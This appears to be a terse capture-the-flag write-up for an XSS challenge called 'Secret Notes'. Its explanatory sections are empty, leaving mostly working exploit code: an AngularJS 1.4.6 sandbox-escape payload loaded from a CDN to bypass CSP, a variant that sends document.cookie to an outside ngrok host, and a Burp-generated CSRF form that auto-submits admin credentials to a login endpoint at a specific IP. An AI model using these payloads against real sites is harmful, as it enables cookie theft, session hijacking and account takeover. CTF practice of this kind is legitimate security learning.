Secret Notes
Secret notes was an XSS challenge that consisted on a self xss that could be leveraged through csrf, it was also necessary to bypass CSP.
Approaching the app



The exploit


Last updated
</textarea><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert("csp bypass ez af");//');}} </div></textarea><script src='https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js'></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };location=`http://d3e1fcf03b4e.ngrok.io/?xss=`+btoa(document.cookie);//');}}</div><html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form id="form1" action="http://34.135.203.251/login" method="POST">
<input type="hidden" name="username" value="admin" />
<input type="hidden" name="password" value="admin" />
</form>
<script>
document.getElementById("form1").submit();
</script>
</body>
</html>